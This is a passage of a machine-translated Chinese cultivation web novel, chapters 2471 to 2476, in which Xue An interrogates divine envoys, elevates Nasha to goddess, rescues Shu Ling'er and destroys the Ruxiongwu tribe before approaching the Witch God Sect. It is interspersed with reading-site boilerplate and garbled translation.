    Because everyone is not a fool, it is natural to think of what the four divine envoys intend to do here.


    Obviously, I wanted to carry out a sneak attack while people like myself were unprepared!


    At this point, many people shed a cold sweat, and they looked at Xue An with a touch of gratitude in addition to awe.


    They knew very well that if it hadn''t been for Xue An''s shocking sword just now, then these people might have successfully attacked.


    Now a disaster has disappeared invisible. Some people secretly breathed a sigh of relief.


    But the complexion of some people has become even more ugly.


    This includes Meng Zhu Feifeng, the patriarch of the Mengzhu tribe, and Meng Zhumei, the high priest.


    Because they discovered a terrifying fact, that is, from beginning to end, even the four gods of the Shixiongwu tribe have touched the city wall, and none of the gods they believe in has any warnings, and there is nothing in the temple. Do nothing.


    This was simply unimaginable before, and then contact the various performances of the Moon Mother God in the recent period.


    Both Meng Zhufeifeng and Meng Zhumei''s eyes showed a deep worry.


    Yue Qinghuan was a little excited.


    She didn''t expect Xue An''s words to be so accurate. The prediction said it was tonight, but after a while, someone came to the door.


    "Well, how do you plan to clean up these guys? Do you want me to interrogate you?" Yue Qinghuan said eagerly, his words full of expectation.


    As the daughter of a military strategist, she is not a wealthy daughter in the strict sense, on the contrary, she is involved in everything on the battlefield.


    Of course, interrogation will inevitably be exposed.


    Interrogation is a matter of question, especially for the existence of cultivation, it is not easy to pry their mouths open.


    The simple soul search has a very low success rate, so military experts have developed many methods of interrogation, which happened to come in handy today.


    But Xue An just smiled slightly at this.


    "It''s just a few small thieves, are they still worth interrogation?"


    Following the voice, he waved his hand, and the four divine envoys that were originally stuck in the hollow of the city wall flew over like kites bound by lines, and then fell heavily to the ground, arousing smoke and dust.


    There was a commotion in the audience.


    Because when they landed, the shackles on these four gods had obviously been untied.


    But they didn''t even have the slightest desire to resist. Instead, they turned over and knelt to the ground, banging their heads towards Xue An.


    And during the whole process, they didn''t even dare to say a word of begging for mercy, obviously they had been terrified to the extreme.


    Meng Zhuxiong also led people to hurriedly at this time.


    Seeing that the Four God Envoys of the Ruxiongwu tribe who had just been flaunting their power in front of him and wanted to put themselves to death were humbled like a kowtow at this moment, Mengzhuxiong couldn''t help getting a little hairy.


    This feeling reached its peak when he saw Xue Anzhi sitting on a chair smiling and saying nothing in the whole process.


    I just wanted to make a difference with such an existence.


    It''s really blessed by the Moon Mother to survive.


    wrong!


    It is estimated that even the Moon Goddess can''t provoke this adult!


    Meng Zhuxiong thought secretly in his heart. As for the previous thoughts of fighting Xue An, it has long since disappeared, and he can''t even think of it.


    The audience was extremely quiet. People were all staring at the four divine envoys on the ground who kept bowing their heads. There was hatred and disdain in their eyes, but more of them were still at a loss.


    Because many people still don''t know what happened.


    At this moment, Xue An said lightly.


    "You...want to survive?"


    As soon as these words came out, the four gods shook their bodies, and then said in a rush.


    "Yes, sir, we want to survive!"


    "Very good! Then I will ask you to answer, if the answer is satisfactory to me, I can consider letting you go! Understand?"


    "Yes, yes! Understand!"


    "The first question, who sent you here?"


    The bandage man among the Four God Envoys took the lead and shouted loudly: "We were sent by Lord Sanxian!"


    "Oh? What do you intend to send you here?"


    This time it was the turn of the man with blood-stained eyes to rush to answer, UU reading www.uukanshu. Seeing that he was afraid of being answered, he knelt forward and climbed a few steps, and said eagerly.


    "My lord, that Sanxian Langjun sent us to slaughter the Mengzhu tribe and at the same time obtain the godhead of the Moon Goddess!"


    "what?"


    "How dare to have such a big idea, this Sanxian Langjun is damned!"


    There was a roar from the crowd.


    But there are still some people who look contemplative.


    Because in terms of godhood and status, the Moon Mother God is far higher than the Sanxian Langjun.


    This can be seen from the status of the Mengzhu and Jixiongwu tribes in the past.


    But what happened this time?


    Not only did he covet the position of the Moon Mother God, but he also sent his four divine envoys to combine the recent rebellion of the Yuxiongwu tribe.


    What happened to make this Sanxian Langjun so rampant?


    Xue An smiled, "That''s a good answer, what''s your name?"


    The red-eyed man was overjoyed and trembled: "Back to the lord, the younger one is named Wutong, and he is a divine envoy under Lang Jun Sanxian!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorite" below to record the reading record of this time (Chapter 2471 is just a few thieves, not worthy of interrogation), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2472： Godfall

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapter!


    Xue An nodded, "If this is the case, then I will ask you again, since I want to seize the position of the Moon Goddess, why didn''t the Sanxian Langjun come here in person? Instead, he only sent a few of you, and you have What means can accomplish this task?"


    These three questions can be said to be asked at the root.


    The five links just wanted to answer, the boss of the Four God Envoy couldn''t help but change his expression, and said sharply: "Five links, you..."


    He wanted to say that you would not end up betraying your master like this.


    But before he could say the rest, Xue An''s eyes flashed, and a ray of sword light passed by.


    The leader of these four gods, Old Dalian, was cut into nothingness without a grunt.


    This unpredictable method scared the remaining three gods into a battle.


    Xue Anrou said: "Okay, you can continue!"


    Wutong looked pale, and said tremblingly: "Return to my lord, originally Sanxian Langjun planned to come here in person, but he suddenly got another important task from above, so he could only perform the above task first. Up!"


    "As for how we accomplish this task... the reason is very simple. At this moment, the Moon Goddess has actually been severely wounded and is dead in name!"


    As soon as this remark came out, it seemed like a shock to the world, causing an uproar in the audience.


    "What? It''s impossible, how could Lord Moon God be severely injured?"


    "Yes, this guy must be talking nonsense!"


    For a while, the sentiment was fierce, and I really wanted to take this five links alive.


    However, Mengzhu Feifeng and other high-level Mengzhu tribes all looked solemn, because they all knew that something major must have happened to the gods they worshipped, otherwise it would not have been so long without responding to their followers.


    And if things are really as the five links said, the Moon Mother God has been beaten and disabled, then things can be troublesome.


    At this moment, Xue An slowly got up, and the audience instantly calmed down.


    Then Xue An walked to the front of the five links and looked at him condescendingly.


    "You said that Sanxian Langjun received the order from above, then who is on this one?"


    At this moment, Wutong had abandoned all principles, and immediately said: "My lord, Sanxian Langjun has taken refuge in the Sorcerer Sect. This time, he is also going to execute an order passed down by the Sorcerer Sect and let him hunt down someone !"


    "Oh? The Sorcerer Sect?" Xue An''s eyes lit up slightly, he didn''t expect to have such an unexpected gain.


    Of course he is no stranger to this witch **** teaching.


    At the beginning, in the Zhujia mining area, Xue An and the Wushen Sect once fought a fight to **** the Zhurong Tinder from Buzhou Mountain.


    I just didn''t expect to hear about it again here.


    But these people in the field all changed their colors after hearing the three words of Witch God Sect.


    There is no other reason.


    It is really that this witch **** cult is too tyrannical in this land of witch gu, even to the point where the Jingman clan who claims to be the master of the mountain must retreat.


    This witch **** cult believes in the ancient witch god, and is even more incompatible with the gods believed by the Jingman clan.


    Therefore, the grievances between the two are extremely deep.


    Unexpectedly, this Sanxian Langjun actually took refuge in the Witch God Sect, no wonder its strength soared, and connivable his subordinates to commit disturbances, and even started the idea of ??the **** of the moon mother god.


    "Do you know who the witch **** sect wants Sanxian Langjun to chase down?" Xue An said lightly.


    "This little one is not very clear, but I once heard a message from Sanxian Langjun''s words that the person he wanted to kill was called Shu Ling''er!"


    Shu Ling''er?


    The name made Xue An startled slightly, and then a strange color appeared in his eyes.


    If he guessed correctly, isn''t this Shu Ling''er the saint of the Sorcerer God who died under her sword in the Zhujia mining area?


    Why did it pop out again this time?


    Could it be someone with the same name and surname?


    At this time, Yue Qinghuan also walked up to Xue An in dismay, and whispered: "What''s the matter? Isn''t Shu Ling''er dead?"


    "Yeah! But this is interesting. It seems that things are getting more and more interesting!" A faint smile appeared on the corner of Xue An''s mouth, and then turned to ask.


    "Then the mother goddess of the moon was severely injured, is it the result of the witch **** sect?"


    "This matter is unknown to the villain!"


    After speaking, the three divine envoys all looked at Xue An with trepidation.


    Xue An smiled, "You answered well and cooperated very well!"


    "Thank you, sir, can we leave now?" Wutong said cautiously.


    Xue An smiled and waved his hand, "Please!"


    Wutong and these two divine envoys were overjoyed, got up in a hurry, turned around and wanted to flee.


    But at this moment, Xue An waved his fingers repeatedly.


    With a few puffs, three rays of sword light passed through their pubic area.


    The three divine envoys were shocked and turned to look at Xue An in disbelief.


    Xue An said indifferently: "Naturally, I won''t kill you, but you can''t keep your cultivation base!"


    After all, Xue An rushed to Meng Zhuxiong in the distance: "I will give you the three of them!"


    Meng Zhuxiong trembled and nodded immediately: "Yes!"


    Then Xue An turned and left.


    After he left, a horrible howl like a pig was heard immediately behind him.


    Of course Meng Zhuxiong and his soldiers would not let go of these three guys.


    However, all the senior men of the Mengzhu tribe, including the patriarch Meng Zhu Feifeng and the priest Meng Zhumei, followed Xue Anshen before reaching the temple.


    Xue An stopped and stared at this small temple, and said lightly: "In fact, when I entered the town, I felt the weakness of the gods you believe in."


    "It''s just that I didn''t expect it to have been seriously injured, and it would even be broken and disappeared soon!"


    Tears burst into Mengzhu Nasha''s eyes.


    As a saint, she hates her stupidity and ignorance very much at this moment.


    When my guardian necklace failed, I should have thought of this.


    Even if it didn''t at that time, after returning to the tribe, there was no response to several prayers, so he should be alert.


    But I still didn''t notice it at all, and even caused my gods to endure so much pain, UU reading is really unforgivable.


    As for Meng Zhufeifeng, Meng Zhumei and others, tears were also on their faces.


    At this moment, a miracle happened.


    I saw that the crescent-shaped stone hanging above the temple shone a faint glow, shining far away in the night, and enveloping the entire Mengzhu tribe.


    Then a faint figure appeared above the moonstone.


    Seeing this scene, everyone in the Mengzhu tribe knelt to the ground and bowed to the figure in the moonlight.


    Xue looked quietly, but couldn''t help but a touch of admiration appeared in his eyes, and then whispered softly.


    "The last guard? Are you planning to say goodbye?"


    Along with his voice, a ray of moonlight suddenly flew into his hand like a thread, and then painted a shallow character.


    begging!


    Xue An was silent for a moment, then nodded.


    "Don''t worry, since I saw it, I can''t just sit back and watch! Your wish is for you."


    As soon as the voice fell, the sky full of moonlight shattered and dissipated like a bubble, turning into nothing.


    Also broken together was the moonstone hanging on the top of the temple.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2472), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2473： Help you become a god

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapter!


    "Mother Moon God!"


    Mengzhu Nasha let out a mournful cry, and then burst into tears.


    All of a sudden, the audience was crying.


    Meng Zhufeifeng, Meng Zhumei and others all burst into tears, kowtowing.


    Xue An sighed lightly, then spread out his hand, holding a small crescent stone in it.


    A faint brilliance flashed in the stone, and with a desolate and lofty breath, it was awe-inspiring.


    It is the godhead left by the Moon Mother God at the time of its death.


    The thing that Sanxian Langjun dreamed of was lying quietly in Xue An''s hands, exquisite and small like a girl''s pendant.


    It''s hard to imagine that this is what enables mortals to light a sacred fire and ascend to the position of God.


    Xue Jingjing looked at it for a while, then suddenly whispered: "Miss Nasha!"


    Mengzhu Nasha, who was kneeling and crying bitterly, raised her head blankly. At the same time, Xue An raised his hand and pressed the godhead on Mengzhu Nasha''s eyebrows.


    Mengzhu Nasha was shocked, and then the moonstone penetrated into the center of her eyebrows like flowing water.


    In an instant, a vast breath rose from Mengzhu Nasha''s body, accompanied by the bright moonlight burning all over her body.


    This time the audience was shocked.


    "What''s the matter?" Someone exclaimed.


    The high priest Meng Zhumei trembled all over, and then whispered in a tone of infinite horror: "Making God...He is making God!"


    The audience was shocked when he said this.


    Many people can''t help but think of an ancient legend.


    It is rumored that as long as they possess a complete godhead, and with the help of the strong, mortals can also light the fire and ascend the throne of the gods.


    But this legend was just a legend before this. No one had ever thought that one day it would really become a reality.


    Because the conditions it requires are too harsh, not to mention anything else, just a complete godhead is enough to shatter most of the delusions.


    But today, by chance and coincidence, Xue An had to create a **** in front of everyone.


    In an instant, the boiling and burning Moon Flower stabilized a little, and then a familiar breath emerged in it.


    After feeling this breath, many people present wept with joy, and then worshipped Xue An.


    Because this breath is exactly the breath of the gods that has disappeared for a while.


    Although it is still immature and weak, it represents a kind of new hope.


    A faint smile appeared at the corner of Xue An''s mouth, then turned his head and said to Yue Qinghuan.


    "It will take some time for her to truly stabilize the divine fire and sit firmly on her divine position. You will wait for me here for a while, and I will return when I go!"


    After that, without waiting for Yue Qinghuan''s consent, Xue An rose into the sky and disappeared into the vast sky.


    Yue Qinghuan stomped his feet, gritted his teeth and said: "This guy...speaks as if he is telling a maid, and he doesn''t even have a word of invitation, which is really damnable."


    But now, no matter how she gritted her teeth, she could only do nothing.


    At the same time, Xue An quickly crossed thousands of miles of mountains and rivers to a remote place based on the Sanxian Langjun aura carried by the four divine envoys.


    When he arrived here, Xue An heard the sound of fierce fighting from below without even having to land.


    There was a movement in his heart, and then he hid from the side, looking down.


    I saw in the depths of this mountain, dozens of **** servants were launching a fierce attack on a woman.


    The woman was scarred all over, but she was very tenacious, even if she was besieged by layers, she still refused to give up.


    And beside this battlefield, stood a group of vague dark shadows about ten feet high.


    The dark shadow remained silent, watching the battle quietly, and sneered until a long time later.


    "Shu Ling''er, I really didn''t expect you to be so strong, even if you have become a trapped beast, will you still refuse to surrender?"


    Shu Ling''er slapped the few **** servants in front of her with a palm, took a few steps back, and panted quickly while leaning against the rocky cliffs, but her eyes were full of sorrow and coldness.


    "Sanxian Langjun, you are just a dog, what right do you have to show off your power in front of me?"


    This is extremely ugly, at least this group of black shadows are twisting, and then a pale middle-aged man emerges from it.


    The man sneered: "Shu Ling''er, if you are still a saint of the Witch God Sect, then I would naturally not dare to show off in front of you, and even dare not even look at you directly, but who made you betray the Witch God Sect and flee away. Is it? It''s no wonder me!"


    "Speaking of it, I really don��t understand. You said that you put a good witch goddess and don��t do it. Why do you insist on defecting? Besides, you died under the sword of another person. If it weren��t for the witch **** cult to transform you into a soul, Why is your life here? So isn''t it ungrateful for you to do this now?"


    Shu Ling''er sipped viciously, "Fuck you, grandma, how can I use a running dog like you to judge? What can you say about ungratefulness?"


    These words were extremely harsh, Sanxian Langjun''s complexion became more difficult to look, and the killing intent appeared in his eyes.


    "It''s really shameless to face, then you will die here today!"


    With that said, this group of dark shadows flew out dozens of black lights in an instant, and sank into the bodies of those **** servants.


    In an instant, the strength of these **** servants greatly increased, and the suppression was already precarious, and Shu Ling''er, who was only able to parry and had no power to fight back, was even more faltering.


    She felt a chill in her heart, thinking that she would definitely die today.


    But even so, she still did not regret her decision to defect from the Witch God Cult. UU reading


    There is no other reason, it''s just because the current witch **** cult... is no longer the previous witch **** cult.


    When Shu Ling''er was beheaded by Xue An in the Zhujia mining area at the beginning, she was indeed destroyed at the time, and she could not die anymore.


    But the mystery of witchcraft is here. As early as the beginning of her teaching, Shu Ling''er had planted a soul seed in the altar of the witchcraft, and she was constantly instilling and training her to synchronize her memory.


    So when she died in the Zhujia mining area, the seeds left in the Altar of the Witch God Sect were awakened and became the sage Shu Ling''er of the Witch God Sect again.


    This is also a rebirth in another sense.


    After experiencing a life and death, Shu Ling''er changed a lot, introverted and calm, unwilling to get too involved in matters outside the land of Witch Gu, she just wanted to practice quietly in the altar.


    But this is often the case. The more you want, the more you will lose.


    The quiet life was suddenly broken one day.


    On that day, Shu Ling''er, who had been cultivating, suddenly realized that the breath of the ancient witch **** enshrined on the altar had disappeared.


    It was replaced by an extremely cold and evil aura.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2473 helps you become a god), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2474： The Fall of Witch Sect

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapter!


    This kind of shock made her horrified, and she immediately withdrew from the altar, but before she could report the news to the leader, the entire Witch God Sect completely fell.


    Including the leader, all the senior leaders of the Witch God Sect were invaded by evil spirits and turned into running dogs of evil things.


    As a saint of the witch **** cult, Shu Ling''er naturally couldn''t be let go.


    The leader, who was already an evil thing, threatened her and asked her to join the evil thing army, and the other high-level officials also looked at her.


    But Shu Ling''er, who was heavily surrounded, understood that as long as she surrendered, the representative of the human race was already dead, and even if Shu Ling''er was still alive by then, it was just an evil thing in Shu Ling''er''s body.


    Of course she would not accept this result.


    She is not a good person, otherwise she would not be beheaded by Xue An in the Zhujia mining area.


    But she didn''t want to be a puppet of evil things, and she just fell into depravity.


    With this thought in mind, Shu Ling''er was waiting for an opportunity to escape while vacillating.


    Finally, with her unremitting efforts, she found an opportunity to successfully run out of the territory of the Witch God Sect.


    But as the saint of the Witch God Cult and the one who knows the most secrets at the same time, how could the Witch God Cult let her go, and immediately sent a team of people to chase after her.


    Sanxian Langjun is one of the hunters.


    This low-status but extremely ambitious little **** had devoted much to the Witch God Sect long ago, but the Witch God Sect at that time simply looked down on this little ghost of the Jingman clan and ignored it.


    But when the Witch God Sect was controlled by evil things, there were not so many scruples, and it was directly accepted and bestowed on it with not weak divine power.


    This is the reason why the strength of the Zuoyonggo tribe has soared.


    At this moment, looking at Shu Ling''er, who had been heavily besieged, Lang Jun Sanxian was full of excitement.


    As long as this woman is captured back, the leader will reward me heavily, and then reap the noble gods of the Jingman clan. At that time, I will be the true and only ruler of the Jingman clan at the same time.


    puff!


    At this moment, a **** servant took advantage of Shu Ling''er''s attention and sneaked around behind to attack.


    Just this time, another visible bone wound was added to Shu Ling''er''s back that was full of scars.


    Shu Ling''er snorted, a look of decisiveness appeared in her eyes.


    She has made the final preparations, anyway, even if she is dead, she can''t be caught back and become a puppet and plaything of evil things.


    But at this moment, only a chuckle sounded from my ear.


    "I didn''t expect you to be alive!"


    Hearing this voice, Shu Ling''er turned her eyes in amazement as if she had been struck by lightning.


    A white figure appeared above the valley, staring eyes and sword eyebrows, who was it if it wasn''t Xue An?


    When she saw this familiar figure, Shu Ling''er''s thoughts turned, her eyes filled with extremely complicated expressions.


    She was so familiar with Xue An. Whenever she dreamed back in the middle of the night, she would always be awakened by the sword that came from the crosscut, and then she would be in a daze until dawn.


    It can be said that this young man has become her nightmare existence.


    But after seeing him here today, there was a glimmer of hope in Shu Ling''er''s heart.


    "Xue...Mr. Xue!" she said difficultly.


    Xue An smiled, glanced over the scars on her body, and then turned to look at Sanxian Langjun not far away.


    "You are Sanxian Langjun?"


    "Yes, it is the original god! Who are you?"


    Sanxian Langjun was also quite afraid of Xue An who suddenly appeared.


    Because he couldn''t see through the reality of this young man.


    "It''s fine, you don''t have to ask about the others!"


    When the words fell, Xue An shook his hand with one hand, as if a sun had exploded in his palm, bursting out countless golden lights.


    Puff puff!


    The **** servants in the field instantly turned into flying ashes, and the Sanxian Langjun roared.


    "Where is it sacred? How dare to fight the Witch God Sect?"


    The words are quite stern.


    He could feel the majestic sword intent contained in these golden lights, so he did not dare to grab the front lightly, but retreated sharply.


    But just a few steps after he withdrew, a finger suddenly penetrated from the black shadow.


    There is no sound!


    This finger is slender and slender like a flower.


    But shortly afterwards, the black shadow began to shake violently and shattered in an instant.


    A figure fell out of the black shadow, and then rushed to the distance with lightning speed.


    But before he could fly far, Xue An grabbed it and grabbed it in his hand.


    "Squeak!"


    Accompanied by a strange cry, the figure shrank and shook, showing its original shape.


    It was actually a giant rat as big as a civet cat.


    At this moment, the giant mouse was struggling in pain, and Dou Da''s eyes were full of panic.


    "The so-called Sanxian Langjun is this kind of stuff?"


    Xue An sneered, and then shook it sharply.


    Click!


    With a crisp sound, the spine of this giant mouse was pinched off, and then it was completely softened, and there was no more sound.


    Xue Anxin threw his hand, and before it fell to the ground, the flames rose from the body of the giant rat, and then burned it into nothingness.


    After finishing all this, Xue An clapped his hands and gave Shu Ling''er a cold smile.


    "Now it''s time to talk about you!"


    Shu Ling''er stared blankly, and then she shivered.


    From Xue An''s appearance to the loss of Sanxian Langjun''s bones, the whole process took less than a minute in total, and the big trouble that had been plagued him was completely destroyed in this way.


    So when Shu Ling''er met Xue An''s cold eyes at this moment, even the whole body''s blood was cold by three points.


    "I...I..." Shu Ling''er hesitated for a moment, and finally lowered her head to tell what happened.


    After hearing that the Witch God Sect had been infested by evil things, Xue An''s eyes couldn''t help but burst out with bright brilliance.


    "you sure?"


    Shu Ling''er was forced to retreat again and again by the powerful aura erupting from Xue An, UU reading www. Uukanshu.com''s eyes were full of splendor, and he nodded very surely.


    "Of course!"


    Then she said in an infinitely respectful tone: "My lord, what I did in the Zhujia mining area is more than guilty, but now I don''t want to be a puppet of evil things, so please save me!"


    With that, she thumped and fell to her knees, her face full of sincerity.


    Xue An raised his eyebrows slightly, "Save you? How do you know I will save you?"


    "Because adults obviously hate these evil things, so now our goal is the same!"


    Xue An was silent.


    Shu Ling''er peeked around, the more she looked, the more frightened she became.


    When he was in the Zhujia mining area, Xue An was only an immortal, and he did not even break through the semi-sage. However, he did not expect that after only a few years, he would prove the saint and become the foundation of immortality.


    In contrast, the proud achievements he has made over the years are completely insignificant.


    But because of this, there was a glimmer of hope in Shu Ling''er''s heart.


    Probably only such a peerless genius can deal with evil things that don''t know where they come from!


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2474 The Fall of Witch Sect), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2475： Wan Lei rushed

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapter!


    Shiongwu tribe.


    After this period of brutal conquest and massacre of many small tribes around it, the territory under the jurisdiction of the Ruxiongwu tribe has more than doubled.


    And this also caused earth-shaking changes to the resident of the Shiongwu tribe.


    In the past, the dilapidated city walls were replaced by strong and durable stone walls, and the area of ??the resident site was greatly extended to the outside, and many magnificent houses were built.


    The streets were filled with beaming people from the Yuxionggo tribe, but in stark contrast to the joy on their faces were those prisoners who described withered and numb.


    These captives were male and female, and they basically came from the small tribes around them that had been defeated in the war. Everyone was covered with large and small scars.


    Because after coming to this Jixiongwu tribe, they are no longer humans, but items that are arbitrarily used and controlled by some people.


    This dark day made many prisoners, especially female prisoners, unbearable and chose to commit suicide.


    But in this land where witchcraft is rampant, even suicide is still not free.


    For example, right now, in the shadow of the city wall opposite these prisoners, there are many dead souls bound by witchcraft.


    These souls are basically prisoners of suicide, then captured by witchcraft and held here.


    At this moment, several soldiers from the Jixiongwu tribe were waving their ghost whips and whipping at these dead souls.


    Every time it aroused a terrible cry, which was unbearable to listen to.


    But the more so, the more vigorously the people from the Shiyongwu tribe played.


    Some soldiers panted heavily, turned around and grinned at these prisoners.


    "Did you see? Now you are not only ours, but also our souls! It is impossible to avoid captives by suicide, and it will only incur more painful punishment, so in the future you must be obedient and listen. No?"


    There was a commotion among these prisoners, and tears of despair appeared in the eyes of many people.


    If a person is unable to control his own life and death, that is the real sorrow.


    But at this moment, a breeze suddenly blew over the walled city, and the waving city flag fluttered.


    This is nothing unusual.


    We must know that in these deep mountains, the weather is inherently volatile, and windy is more common.


    But this gust of wind came very strange. When it blew past, clouds suddenly appeared in the distant sky, and they came here at an extremely fast speed.


    In the shrine of the Ruxiongwu tribe, several priests were praying and praying with incense.


    Suddenly, cracks appeared on the tall Sanxian Langjun idol, and then it disintegrated completely.


    These priests were all frightened by the scene before them.


    what happened?


    Why did the statue of Lord Sanxian Lang-kun suddenly break?


    At the same time, the patriarch of the Ruoxiongwu tribe who was fighting in the house seemed to feel something. Huo Ran raised his head and looked out the window with horror on his face.


    "Gosh, then... what is that?"


    This question, which was broken because of fear, also represented the common aspirations of the entire Tsuxionggo tribe at this moment.


    Everyone stared blankly at the surging dark cloud, shaking uncontrollably.


    The patriarch of the Ruxiongwu tribe put on a piece of clothing indiscriminately, and jumped out of the house in one step. When he saw the cloud covering the entire sky, he couldn''t help being shocked.


    He can clearly feel that there is an inexplicable and indescribable powerful aura in this cloud.


    And just at this moment, a faintly rumbling thunder came from the clouds.


    With thunder in his ears, the patriarch of the Ruoxiongwu tribe''s face instantly became extremely pale, and he roared, "No, run!"


    After speaking, he turned around first, and ran away towards the distance.


    His rout led to the great escape of the entire Tsuxiongwu tribe.


    Although many people don''t know what happened, even the patriarch has escaped, so let''s run with him.


    But their escape is doomed to fail.


    Because just as the patriarch rushed to the back door of the Ruxiongwu tribe, and was about to run out, a blinding thunder light slammed down.


    Rumble!


    Accompanied by a loud, earth-shaking noise, this thunder light instantly came above the head of the patriarch.


    The patriarch wailed in despair, and raised his whole body to try to resist.


    But how could he be able to stop the sky thunder with such a meager demeanor?


    I saw the thunder light easily penetrated the black gas barrier above his head, and slashed on the top of his head.


    Zi Zi Zi!


    Accompanied by the sound of electric current, a strong aroma of barbecue instantly spread throughout the audience.


    The thunder light finally dissipated, and when looking at the scene, the patriarch who had just survived had already turned into the dry and charred bones on the ground.


    Everyone''s faces are pale.


    The patriarch can be regarded as the foremost master of the entire Nixiongwu tribe, but before this thunder, he was fragile like an ant.


    Before these people could relax, the thunder burst in the clouds, and countless rays of thunder shot out, like silver snakes dancing wildly, falling from the sky, enveloping the entire city of Ruxiongwu.


    "Oh my God, this is the death of me!" There was a desperate cry from the priest, and then a thunder light pierced down from the top of his head, and he was crucified to death on the spot.


    And this is just an extraordinary scene in the thunder light pouring down like heavy rain.


    at last.


    When the thunder light gradually dissipated, the once prosperous Ruoxiongwu City Wall was completely reduced to ruins. As for the people of the tribe, they were turned into coke on the ground, and they could not die again.


    In contrast, these prisoners were unscathed, so they all watched this scene blankly.


    At this moment, an indifferent but extremely majestic voice came from the clouds.


    "Shixiongwu tribe has been annihilated, and you have already taken revenge, so you can disperse yourself!"


    Having said that, all the seals that bound these prisoners before were broken and invalidated, and even the bound souls were restored to freedom.


    Then these people all knelt down and worshipped toward the dome of the sky.


    "Thanks for your help!"


    "Thank you, sir, for waiting for my revenge!"


    The voice of gratitude hit the sky.


    Xue An above the clouds smiled slightly and said faintly: "Okay, the matter here has been handled, now it''s time to go to the Wizard of God!"


    "Uh...Yes!" Shu Ling''er, who was already in a sluggish state, shook her whole body, and then regained her consciousness, and then nodded hurriedly.


    "I''m leading the way!"


    After that, he rushed straight forward.


    At this moment, she was extremely frightened.


    She had told Xue An to save herself on the battlefield, and she was very happy, but on the way to the witch gods, Xue An had to detour from the Ruxiongwu tribe.


    At that time, Shu Ling''er thought he just wanted to collect the wealth left by Lord Sanxian, but she didn''t expect Xue An to make such a clean move.


    He came directly with thousands of thunder, and destroyed the entire Ruxiongwu city.


    Is this the saint��s method? Shu Ling''er thought in a daze.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2475 Thousand Lei rushing), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2476： Xianrentai

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapter!


    The Witch God Sect is located in the center of this land of Witch Gu, surrounded by five mountain peaks and a raised platform in the middle.


    Yuan looks like an immortal holding his palm, so it is also called Xianrentai.


    At this moment, just a few miles away from the Immortal Terrace, Xue An and Shu Linger stopped.


    "Is this the main altar of your Sorcerer Sect?" Xue An said lightly.


    "Yeah!" Shu Ling''er nodded, her eyes showed a bleak expression, "Unfortunately, the current witch **** cult is no longer the previous witch **** cult!"


    "Including the leader, all the senior leaders of the Witch God Sect have been invaded and controlled by evil!"


    "Here... It''s dead in name."


    Xue An smiled, "The so-called mere existence in name is just what you think. The leader and the high-level are controlled by evil things, so why not kill them all?"


    Shu Ling''er was suffocated by the murderous aura revealed in Xue An''s words, and then asked with some difficulty.


    "My lord, what should we do next? Shall we just go in?"


    Xue An shook his head, "I came here deliberately. Naturally, it was not purely to punish the Sorcerer Cult, so you have to listen to my command next, understand?"


    Shu Linger nodded her head, "Understood!"


    In fact, she knew better than anyone that she had no retreat at the moment, and she could only hold Xue An''s thigh tightly if she wanted to survive.


    So she didn''t even hesitate at all, looking at Xue An with fiery eyes.


    Xue An smiled faintly, "Very well, then you should be on the court next!"


    The guards in front of the Witch God Sect were still those before. In fact, although all the upper levels of the Witch God Sect had been controlled by evil things at this moment, there was no change in the middle and low level personnel.


    After all, for a sect, it only needs to control the top group of people.


    It won''t even be infested by the guards in front of the door.


    You know evil spirits are precious.


    It is a waste to use it on these ordinary disciples.


    Therefore, when Shu Ling''er came to the gate of the mountain along the way up the mountain, all she saw were those familiar faces.


    And these guards were also shocked after seeing Shu Ling''er.


    "Holy...Holy Lady?"


    Someone murmured in shock, even if she was pushed by the person next to her, it suddenly became clear that Shu Ling''er was no longer a saint of the witch gods at this moment, and she quickly closed her mouth.


    The rest of the guards looked at Shu Ling''er with guard.


    Shu Linger''s face was as cold as ice, and said lightly: "Open the door, I want to go in!"


    These guards looked at each other, and then one swiftly ran inside, while the rest opened the mountain gate.


    Shu Ling''er stepped into it, as far as she could see, everything was the same as before, but her mentality had changed greatly at this moment.


    In the past, I came here as a master, but now I have become an enemy.


